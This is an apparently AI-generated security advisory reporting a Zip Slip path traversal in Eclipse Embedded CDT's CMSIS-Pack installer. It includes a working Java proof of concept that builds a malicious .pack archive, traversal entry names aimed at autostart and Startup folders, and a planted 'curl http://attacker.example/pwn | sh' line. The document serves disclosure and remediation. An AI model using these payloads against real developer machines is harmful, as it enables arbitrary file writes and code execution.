[Eclipse Embedded CDT (C/C++ Development Tools)] Zip Slip in CMSIS-Pack archive extraction (`InstallJob.unzip`)
> [!warning] AI-Generated Vulnerability Report
> This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting.
<details open>
<summary><strong>Basic information</strong></summary>
**Project name:** Eclipse Embedded CDT (C/C++ Development Tools)
**Project id:** iot.embed-cdt
**Repository:** https://github.com/eclipse-embed-cdt/eclipse-plugins
</details>
<details>
<summary><strong>What are the affected versions?</strong></summary>
`>= 2.3.1-201407120554` (first tag containing `bae18c51`) through current HEAD `v6.7.0` / `3c2f4edf`. The `SvdUtils` instance is `>= v6.1.1` (first tag containing `e4480f99`).
</details>
<details open>
<summary><strong>Summary</strong></summary>
When the user installs a CMSIS Pack from the Packs view, `InstallJob.unzip()` writes each zip entry to a path built by appending the raw `ZipEntry.getName()` to the packs folder, with no canonical-path containment check. A `.pack` archive served by any vendor whose URL appears in the CMSIS-Pack index (or a network MITM on one of the many plain-HTTP pack URLs) can include entry names like `../../../../../../home/<user>/.bashrc` or `..\..\..\..\Users\<user>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x.bat`, causing the IDE to write attacker-controlled content anywhere the Eclipse process can write — i.e. arbitrary file write leading to code execution.
</details>
<details>
<summary><strong>Severity</strong></summary>
High
</details>
<details>
<summary><strong>Weakness</strong></summary>
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'); specifically the *Zip Slip* variant.
</details>
<details>
<summary><strong>Location</strong></summary>
- `plugins/org.eclipse.embedcdt.packs.core/src/org/eclipse/embedcdt/packs/core/jobs/InstallJob.java:329-403` (primary)
- `plugins/org.eclipse.embedcdt.debug.gdbjtag.core/src/org/eclipse/embedcdt/debug/gdbjtag/core/datamodel/SvdUtils.java:434-460` (same pattern when decompressing zipped SVD files)
Related path-traversal (same root cause, different field): `InstallJob.java:273-281` and `RemoveJob.java:113-119` pass the remotely-derived `DEST_FOLDER` (`<vendor>/<name>/<version>` from the PDSC body, see `PdscParserForContent.java:146-147`) to `DataUtils.deleteFolderRecursive()` via `PacksStorage.getFileObject()` — a `<vendor>../../foo</vendor>` value escapes the packs folder before deletion or extraction.
</details>
<details>
<summary><strong>Origin</strong></summary>
Commit `bae18c5178be7b4dab9bf9f39f9a064ac17256db` (Liviu Ionescu, 2014-05-14, "packs: install packs functional") introduced the first version of the unzip routine with `String fileName = zipEntry.getName(); File outFile = getFile(pathPart, fileName);` and no validation. The code moved through several reorganisations (most recently `fe76e0d4`, 2020-11-29) without ever gaining a containment check.
The second instance in `SvdUtils.java` was introduced in `e4480f99424e32c032ddd43c037192ac9ecc1f2e` (2020-12-21, "[\#465] - accept compressed SVD files").
</details>
<details>
<summary><strong>Methodology</strong></summary>
Grepped `plugins/` for `ZipInputStream|ZipFile|ZipEntry` and inspected each consumer of `getName()`. Traced the source of the archive bytes: `InstallJob.installPack()` builds `URL packUrl = new URL(versionNode.getProperty(Property.ARCHIVE_URL))` and downloads it via `DataUtils.copyFile()`. `ARCHIVE_URL` is set in `PdscParserForContent.java:128-129` from the `<url>` element of the vendor's `.pdsc` file plus `<vendor>.<name>.<version>.pack` — i.e. the archive is fetched from a vendor-chosen origin. Confirmed there is no `getCanonicalPath().startsWith(...)` (or `Path.normalize()` containment) check anywhere between `zipEntry.getName()` and `new FileOutputStream(outFile)`.
</details>
<details>
<summary><strong>Validation</strong></summary>
The reproduction below mirrors `InstallJob.unzip()` and `PacksStorage.getFileObject()` line-for-line, using the real `org.eclipse.core.runtime.Path` class so the `IPath.append()` semantics match production exactly.
```java
// ZipSlipRepro.java — compile with org.eclipse.equinox.common on the classpath
import java.io.*;
import java.nio.file.*;
import java.util.zip.*;
import org.eclipse.core.runtime.IPath;
public class ZipSlipRepro {
static IPath fgFolderPath; // mirrors PacksStorage.fgFolderPath
static File getFileObject(String name) { // mirrors PacksStorage.getFileObject
return fgFolderPath.append(name).toFile();
}
static void unzip(File archive, IPath destRel) throws IOException { // mirrors InstallJob.unzip
ZipInputStream zin = new ZipInputStream(new FileInputStream(archive));
for (ZipEntry e; (e = zin.getNextEntry()) != null; ) {
if (e.isDirectory()) continue;
String fileName = e.getName();
IPath path = destRel.append(fileName);
File outFile = getFileObject(path.toString());
if (!outFile.getParentFile().exists()) outFile.getParentFile().mkdirs();
System.out.println("Writing \"" + outFile + "\"");
try (OutputStream o = new FileOutputStream(outFile)) {
byte[] b = new byte[1024]; int n;
while ((n = zin.read(b)) > 0) o.write(b, 0, n);
}
}
zin.close();
}
public static void main(String[] a) throws Exception {
Path root = Files.createTempDirectory("zipslip");
Path packs = root.resolve("home/user/CMSIS-Packs"); Files.createDirectories(packs);
Path victim = root.resolve("home/user/.bashrc");
Files.writeString(victim, "# original safe bashrc\n");
fgFolderPath = new org.eclipse.core.runtime.Path(packs.toString());
// Malicious .pack as served from <url> in a vendor's .pdsc
String dots = "../".repeat(40);
Path archive = root.resolve("Evil.Device.1.0.0.pack");
try (ZipOutputStream z = new ZipOutputStream(new FileOutputStream(archive.toFile()))) {
z.putNextEntry(new ZipEntry("README.txt")); z.write("decoy".getBytes()); z.closeEntry();
z.putNextEntry(new ZipEntry(dots + victim.toString().substring(1)));
z.write("curl http://attacker.example/pwn | sh\n".getBytes()); z.closeEntry();
}
IPath destRel = new org.eclipse.core.runtime.Path("Evil/Device/1.0.0"); // = DEST_FOLDER
unzip(archive.toFile(), destRel);
System.out.println("Victim now contains: " + Files.readString(victim).trim());
}
}
```
Observed output (OpenJDK 17.0.15, `org.eclipse.equinox.common_3.19.100`):
```
Writing "/tmp/zipslip3035852801637628748/home/user/CMSIS-Packs/Evil/Device/1.0.0/README.txt"
Writing "/tmp/zipslip3035852801637628748/home/user/.bashrc"
Victim now contains: curl http://attacker.example/pwn | sh
```
The second write landed *outside* the packs folder, overwriting the target. Because `IPath.append()` collapses excess leading `..` segments to the filesystem root rather than rejecting them, a long `../` chain followed by an absolute target reliably resolves to that target regardless of how deep the user's packs folder is.
Mitigations checked and ruled out: no call to `File.getCanonicalPath()`, `Path.normalize()`, `toRealPath()`, or any string check for `..` exists in `InstallJob`, `PacksStorage`, or `DataUtils`. `outFile.setReadOnly()` (line 384) runs *after* the write and does not prevent it.
</details>
<details>
<summary><strong>Detail</strong></summary>
```java
// InstallJob.java:343-357
while (zipEntry != null && (result == true)) {
if (!zipEntry.isDirectory()) {
String fileName = zipEntry.getName(); // attacker-controlled
IPath path = destRelativePath.append(fileName); // no validation
File outFile = PacksStorage.getFileObject(path.toString()); // = folderPath.append(...)
if (!outFile.getParentFile().exists()) {
outFile.getParentFile().mkdirs(); // creates traversal dirs
}
...
OutputStream output = new FileOutputStream(outFile); // arbitrary write
```
`destRelativePath` is `new Path(versionNode.getProperty(Property.DEST_FOLDER))`, which `PdscParserForContent.java:146-147` builds as `<vendor>/<name>/<release>` — also from remote XML, but irrelevant to this finding because the zip entry name alone is sufficient to escape.
The `.pack` archive itself comes from `versionNode.getProperty(Property.ARCHIVE_URL)` (`InstallJob.java:240`), which `PdscParserForContent.java:127-129` sets to `<url>/<vendor>.<name>.<release>.pack` — `<url>` being whatever the vendor's `.pdsc` declares. No signature, hash, or origin check is applied to the downloaded archive before extraction.
</details>
<details>
<summary><strong>Prior art</strong></summary>
`git log --all -i --grep` for `zip slip|zipslip|path traversal|CWE-22|security|CVE` returned nothing. GitHub issue search for `zip OR traversal OR security` on `eclipse-embed-cdt/eclipse-plugins` returned only unrelated CMSIS-Pack download/UI bugs (\#629, \#468, \#339, \#104). The Snyk Zip Slip research (2018) catalogued this exact pattern across many Java projects, but this repository is not in their published list and no fix was ever applied here.
---
**Verification verdict:** TRUE POSITIVE
### Verification details
Both PoCs pass end-to-end against the real Eclipse `Path` class. Here is the complete verification report with all phases and the gate review formally documented.
---
</details>
<details>
<summary><strong>Verification Report — Zip Slip in CMSIS-Pack archive extraction (`InstallJob.unzip`)</strong></summary>
**VERDICT: TRUE POSITIVE** · **EXPOSURE: REMOTE** · **SCOPE: PRODUCTION**
### Step 0 — Claim restated
`InstallJob.unzip()` extracts a network-downloaded `.pack` (ZIP) archive by appending the raw `ZipEntry.getName()` to the packs folder with no canonical-path containment check. A `..`-bearing entry name escapes the packs folder, giving an attacker who controls a pack's contents an arbitrary file write with the IDE process's privileges → code execution. Bug class: path traversal / Zip Slip (CWE-22). Threat model: the code runs inside the developer's Eclipse IDE (their user account, no sandbox); the attacker supplies a malicious/compromised `.pack` archive or MITMs a plain-HTTP pack download, and the victim clicks **Install**.
**Maintenance status:** actively maintained (HEAD `3c2f4ed`, 2026-03-04, v6.7.0; distributed via Eclipse Marketplace and official update sites). No EOL/deprecation/superseded banner in README or docs. A maintainer code fix is a reasonable expectation.
Route chosen: **Deep** — the bug path crosses modules (`.pdsc` parsing → job → storage → extraction) and hinges on non-obvious `IPath.append()` semantics.
### Phase 1 — Data Flow Analysis
- **Source:** vendor-controlled `.pdsc` XML. `PdscParserForContent.java:127-129` builds `ARCHIVE_URL = <url>/<vendor>.<name>.<release>.pack` entirely from XML elements; `DEST_FOLDER = <vendor>/<name>/<release>` (`:146-147`).
- **Fetch:** `InstallJob.installPack()` (`:240,254,323-326`) downloads `ARCHIVE_URL` via `DataUtils.copyFile()`. **No signature, hash, or origin check** before extraction.
- **Sink:** `InstallJob.unzip()` (`:348-357`) → `fileName = zipEntry.getName()` → `destRelativePath.append(fileName)` → `PacksStorage.getFileObject()` (= `getFolderPath().append(name)`, `PacksStorage.java:64-66`) → `new FileOutputStream(outFile)`. `mkdirs()` (`:353`) creates traversal dirs first.
- **Trust boundary:** crossed at download — the ZIP bytes and every entry name are attacker-controlled once the victim installs the pack. `Repos.java:247` accepts `http://` pack URLs, enabling MITM in addition to malicious/compromised vendors.
- **Environment protections:** none. Grep for `getCanonicalPath`/`normalize`/`toRealPath`/`".."` in `InstallJob`/`PacksStorage`/`DataUtils` finds only log-message uses; no containment check exists.
- **Cross-references:** second identical instance at `SvdUtils.java:434-460` (`PacksStorage.getCachedFileObject(zipEntry.getName())`), same root cause.
### Phase 2 — Exploitability Verification
- **Attacker control:** full control of ZIP entry names (attacker builds/hosts the `.pack`, or MITMs it). Confirmed reachable via the standard Refresh → select pack → **Install** workflow.
- **Mathematical bounds of the path resolution (the decisive step):** empirically proved with the real `org.eclipse.core.runtime.Path` (equinox.common 3.19.100). `new Path("Evil/Device/1.0.0").append("../"×40 + "home/user/.bashrc")` yields a *relative* path with 37 surviving leading `..` (relative base preserves excess `..`); appending that to the *absolute* packs folder tosses the excess `..` at filesystem root (absolute base) and resolves to **`/home/user/.bashrc`**. A sufficiently long `../` chain reaches root regardless of the victim's packs-folder depth — the payload is depth-agnostic.
- **Race conditions:** N/A (no concurrency in the trigger).
- **Adversarial analysis:** `outFile.setReadOnly()` (`:384`) runs *after* the write and cannot prevent it; it can only block *re-writing an existing* read-only file — irrelevant to creating new files (autostart entries, new scripts on `PATH`), which is the primary vector.
### Phase 3 — Impact Assessment
Real security impact: arbitrary file write at any path the IDE process can write, with the developer's privileges. Realistic escalation to code execution via `~/.config/autostart/*.desktop` (Linux), `Startup\*.bat` (Windows), or replacing an executable on `PATH`. This is a primary control failure (no containment), not defense-in-depth hardening. Overwriting an existing writable file also works; creating new files always works.
### Phase 4 — PoC
- **Pseudocode / executable:** built `ZipSlipPoC.java` reproducing `getFileObject` and `unzip` line-for-line against the real Eclipse `Path` class, compiled and run. **Positive PoC:** malicious entry `../×40 + home/user/.bashrc` overwrote the victim file *outside* the packs folder — `Victim now contains: curl http://attacker.example/pwn | sh` → **ESCAPE SUCCEEDED**.
- **Negative PoC:** benign entry `Flash/STM32.FLM` landed *inside* `…/Evil/Device/1.0.0/Flash/STM32.FLM` and left the victim untouched → **CONTAINMENT HOLDS**, proving the escape is caused by the attacker's `..`, not a harness artifact.
- **Verification:** both outcomes observed as printed above (OpenJDK, equinox.common 3.19.100). The report's own PoC is corroborated and independently reproduced.
### Phase 5 — Devil's Advocate (13 questions)
1. **Source actually attacker-controlled?** Yes — `.pack` bytes/entry names from vendor URL, no integrity check.
2. **Upstream validation missed?** None — no `..`/canonical check anywhere on the path.
3. **Sink actually dangerous?** Yes — `FileOutputStream` at a resolved absolute path.
4. **Reachable in normal execution?** Yes — the core Packs "Install" workflow.
5. **Preconditions realistic?** Victim must install the pack; attacker must host/MITM it — realistic supply-chain/MITM, not exotic.
6. **Env protections neutralize it?** No sandbox; runs as the developer's user.
7. **Bounded by config/constants?** No — depth-agnostic payload defeats folder-depth variance.
8. **Correct bug class?** Yes — textbook Zip Slip.
9. **Impact overstated?** Severity High (not Critical) is fair given the per-pack user click; write→RCE is sound.
10. **Framework auto-mitigation?** Eclipse `IPath`/`ZipInputStream` do **not** sanitize `..`; empirically confirmed they *enable* the escape.
11. **Similar-code fallacy?** Verified this instance directly, plus the independent `SvdUtils` instance.
12. **Test/dead code?** No — shipped production extraction path invoked from the Packs UI.
13. **Does the PoC truly demonstrate it?** Yes — positive escapes, negative stays contained.
### Gate Review
| Gate | Result | Evidence |
|---|---|---|
| Process | **PASS** | All phases executed; deep route with independent reproduction. |
| Reachability | **PASS** | Standard Refresh→Install workflow; sink reached from network-fetched archive. |
| Real Impact | **PASS** | Arbitrary file write → RCE at IDE-user privilege; primary control failure. |
| PoC Validation | **PASS** | Executable positive+negative PoCs run against the real Eclipse `Path`. |
| Math Bounds | **PASS** | `IPath.append()` collapse-to-root behavior proved empirically; depth-agnostic. |
| Environment | **PASS** | No sandbox, no signature/hash/canonical check; `http://` pack URLs allowed. |
All six gates pass.
### Classification justification
EXPOSURE: REMOTE — the untrusted input is a `.pack` archive fetched over the network with no integrity check; the attacker must be a malicious/compromised CMSIS-Pack vendor reachable via the public index, or a MITM on a plain-HTTP pack download, and the victim must click **Install** on that pack.
SCOPE: PRODUCTION — shipped in the released Eclipse Embedded CDT plug-ins distributed via Eclipse Marketplace and the official update sites (README: "the recommended install method is via Eclipse Marketplace"), not a dev-only or sample component.
### Conclusion
The finding is a **TRUE POSITIVE**. The sink is unguarded, the traversal is verified end-to-end against the real Eclipse `Path` implementation with matched positive/negative PoCs, and the archive is fetched from a vendor-controlled URL with no integrity check. Both the `InstallJob.unzip` primary instance and the `SvdUtils` secondary instance need the canonical-path containment guard proposed in the report; `DEST_FOLDER`/`ARCHIVE_NAME` should additionally be validated against `..` where constructed in `PdscParserForContent`.
</details>
<details>
<summary><strong>Steps to reproduce</strong></summary>
1. Attacker publishes (or compromises, or MITMs) a CMSIS-Pack vendor server whose `.pdsc` is reachable via the public Keil/ARM `index.pidx`. The attacker's `.pdsc` declares a normal-looking `<url>`, `<vendor>`, `<name>`, and `<releases>`.
2. Victim runs the standard Packs workflow: Refresh (fetches all `.pdsc` files; see report 001), then selects the attacker's pack in the Packs tree and clicks **Install**.
3. `InstallJob` downloads `http://attacker.example/Vendor.Name.1.0.0.pack` and calls `unzip()`. The archive contains, alongside genuine device-support files, an entry named e.g. `../../../../../../../../../../../../home/<user>/.config/autostart/eclipse-helper.desktop` (Linux), `../../../../../../../../../../../../Users/<user>/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/helper.bat` (Windows), or a replacement for an executable on the user's `PATH`.
4. `FileOutputStream(outFile)` writes the payload at the attacker-chosen location with the privileges of the Eclipse process (the developer's account). Next login / next shell → code execution.
The console prints `Writing "<resolved path>"...` for every entry, but in a multi-hundred-file pack a single autostart entry is easily missed, and the action has already happened by the time it is printed.
</details>
<details>
<summary><strong>Do you know any mitigations of the issue?</strong></summary>
Resolve the output path and reject anything outside the destination root before opening the stream:
**Suggested fix:** [fix.java](/uploads/e59057debc50bbeca018f0e701b4c8b0/fix.java)
Apply the same guard in `SvdUtils.java:444-452` and validate `DEST_FOLDER`/`ARCHIVE_NAME` against `..` and path separators where they are constructed in `PdscParserForContent`.
</details>
issue